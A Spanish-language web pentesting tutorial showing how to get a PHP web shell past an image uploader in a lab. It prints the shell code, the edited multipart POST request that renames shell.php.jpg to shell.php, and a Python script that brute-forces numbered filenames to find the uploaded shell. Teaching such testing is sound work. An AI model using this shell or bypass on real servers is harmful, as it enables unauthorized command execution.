Post70 nn

Técnicas para Bypassear un Uploader y subir una Web Shell


Perfil
Samuel Esteban

Introducción


Cuando se realiza un Pentesting Web, lo más importante es detectar vulnerabilidades que permitan ganar acceso al sistema, si el sitio web maneja usuarios, es probable que sea posible encontrar un uploader para subir alguna imagen de la cuenta de usuario, etc. En esta oportunidad veremos cómo Bypassear un uploader para subir una web shell.


Bypass Uploader – Foro Especializado


Tenemos un uploader en una ruta específica. (En la vida real este estilo de formularios se puede detectar  por lo general dentro de una sesión, pero para efectos de prueba simularemos que ya estamos dentro de la sesión y se no solicita subir una imagen). 

En primer lugar lo que haremos será subir una imagen válida para verificar que se pueden subir correctamente las imágenes.



Bypass Uploader – Intentando Subir Imagen Válida



Bypass Uploader – Imagen Subida Exitosamente

A continuación, debemos encontrar el directorio, donde la imagen fue subida, para ello podemos utilizar diversas técnicas como por ejemplo hacer un proceso de Web Scraping, técnicas de Google Dorks, herramientas como dirbuster, burpsuite, etc.


En este caso detectamos que el directorio donde se subían los archivos es uploads.



Bypass Uploader – Directorio con Imagen Subida

Ahora vamos a empezar a intentar subir una shell simple php la cual es la siguiente:



//shell.php
<?php
$cmd = $_GET[‘cmd’];
echo shell_exec($cmd);
¿>

Esta simple Web Shell, lo que hace es ejecutar comandos del sistema a través de la variable cmd. Intentaremos subir el archivo shell.php a ver qué sucede.


Bypass Uploader – Intentando Subir Archivo PHP


Bypass Uploader – Archivo NO Válido


Lo que haremos, será editar el archivo y agregar la extensión jpg , quedando de la forma shell.php.jpg, finalmente intentamos subir el archivo. Utilizaremos el plugin de Firefox Tamper Data, para capturar la trama de esta petición y modificarla antes de que llegue al servidor. Una vez cargada la imagen, en Tamper Data seleccionamos la opción Comenzar Modificación, esta opción nos permitirá capturar todas las peticiones enviadas al servidor.


Bypass Uploader – Tamper Data


Posteriormente presionamos el botón de Submit del formulario web, Tamper Data nos preguntará si deseamos Modificar la petición, presionamos Modificar y observamos lo siguiente.


Bypass Uploader – Trama POST Uploader


Lo que debemos hacer es cambiar shell.php.jpg por shell.php y posteriormente presionamos aceptar.

Actual


-----------------------------43489332500\r\nContent-Disposition: form-data; name="file"; filename="shell.php.jpg"\r\nContent-Type: image/jpeg\r\n\r\n<?php\n\n$cmd = $_GET['cmd'];\n\necho shell_exec($cmd);\n\n?>\n\r\n-----------------------------43489332500\r\nContent-Disposition: form-data; name="submit"\r\n\r\nSubmit\r\n-----------------------------
-----------------------------43489332500\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/jpeg\r\n\r\n<?php\n\n$cmd = $_GET['cmd'];\n\necho shell_exec($cmd);\n\n?>\n\r\n-----------------------------43489332500\r\nContent-Disposition: form-data; name="submit"\r\n\r\nSubmit\r\n-----------------------------

Bypass Uploader – web shell subida con éxito


La Web Shell fue subida con éxito. Esto se debe a que el programador no realizó una validación de tipos de datos POST la subida del archivo.

Bypass Uploader – web shell en el servidor

Finalmente ejecutamos la Web Shell.



Bypass Uploader – web shell en el servidor


Ahora tenemos el siguiente escenario:



Bypass Uploader – Nuevo Escenario

Subimos el archivo Web Shell de la misma forma que el anterior:


Bypass Uploader – Subiendo Archivo


Acá nos damos cuenta que el nombre del archivo subido no nos aparece. Si vamos a la ruta uploads con el nombre del archivo shell.php tenemos lo siguiente:


Bypass Uploader – Archivo shell.php no encontrado


El archivo no se encuentra en la ruta uploads, ahora vamos a la ruta uploads para poder ver nuestro archivo y nos percatamos de lo siguiente:


Bypass Uploader – Directorio no legible para el usuario final


No es posible listar los archivos del servidor. Si volvemos al menú principal, tenemos una imagen que corresponde al logo de BacktrackAcademy, al abrirlo en el browser:


Bypass Uploader – Imagen Backtrack Academy


Nos percatamos que el archivo de imagen de bta (Backtrack Academy) es un número, por ende podríamos intentar detectar nuestra Web Shell, a través de una secuencia numérica con la extensión .php. Para automatizar este proceso lo haremos con Python.



#!/usr/bin/python
#exploitShell.py
import requests
for i in range(23451, 30000):
website = "http://192.168.206.130/uploads/"+str(i)+".php"
response = requests.get(website)
if response.status_code == 200:
print "[+]Probable Web Shell, verificar manualmente..[+]"
print website
break
else:
print "Not Found"

Bypass Uploader – Web Shell Detectada


Finalmente verificamos manualmente si se trata de la Web Shell.


Bypass Uploader – Web Shell en el Servidor


Efectivamente hemos detectado la Web Shell, como se puede ver en la imagen anterior a través del script se logró detectar el archivo malicioso en el Servidor Web.






Artículos que te pueden interesar